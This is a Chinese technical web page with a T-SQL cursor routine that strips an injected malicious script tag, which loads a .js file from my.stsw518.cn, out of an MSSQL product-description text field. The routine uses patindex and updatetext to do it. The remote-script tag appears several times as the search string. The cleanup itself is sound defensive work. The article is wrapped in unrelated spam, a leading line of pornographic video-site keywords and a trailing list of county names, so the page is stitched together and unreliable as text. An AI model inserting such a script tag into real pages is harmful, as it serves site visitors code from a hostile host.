最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

除MSSQL數(shù)據(jù)庫text字段中惡意腳本的刪方法

 更新時間:2009年07月29日 19:12:15   作者:  
刪除MSSQL數(shù)據(jù)庫text字段的替換處理示例--全表替換,看到有人提問,所以整理了一個好久以前的處理方法,以供大家參考
方法很簡單:text字段不能使用Replace,所以使用patindex
復(fù)制代碼 代碼如下:

-select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
--text字段的替換處理示例--全表替換
-- select datalength(P_Intro),* from Product
--邀月 整理
--定義替換的字符串
declare @s_str nvarchar(4000),@d_str nvarchar(4000)
select @s_str='<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>' --要替換的字符串
,@d_str='' --替換成的字符串


--因為只能用patindex,所以對于搜索字符串做處理
set @s_str='%'+@s_str+'%'

--定義游標(biāo),循環(huán)處理數(shù)據(jù)
declare @id bigint
declare #tb cursor for select P_ID from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
-- where P_ID=300727 ----where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
open #tb
fetch next from #tb into @id
while @@fetch_status=0
begin
--字符串替換處理
declare @p varbinary(16)
,@p1 int,@p2 int
,@rplen int,@step int,@len int

select @p=textptr(P_Intro)
,@rplen=len(@s_str)-2
,@step=len(@d_str)
,@p1=patindex(@s_str,P_Intro)
,@len=datalength(P_Intro)
,@p2=0
from Product
where P_id=@id

while @p1>0
begin
set @p2=@p1+@p2-1
updatetext Product.P_Intro @p @p2 @rplen @d_str
select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
from Product where P_ID=@id
end
fetch next from #tb into @id
end
close #tb
deallocate #tb

--顯示結(jié)果
---- select datalength(P_Intro),* from Product

相關(guān)文章

最新評論

宁强县| 鄯善县| 光泽县| 浪卡子县| 迁安市| 米林县| 安国市| 裕民县| 合江县| 江北区| 大石桥市| 韶关市| 甘孜县| 明溪县| 海原县| 开远市| 喀喇| 宝鸡市| 荣成市| 丰镇市| 九龙城区| 德州市| 柏乡县| 泗阳县| 武邑县| 桓台县| 高陵县| 噶尔县| 西盟| 闻喜县| 依安县| 黄平县| 遵义县| 措美县| 武宁县| 扬州市| 习水县| 华阴市| 苍山县| 克什克腾旗| 定陶县|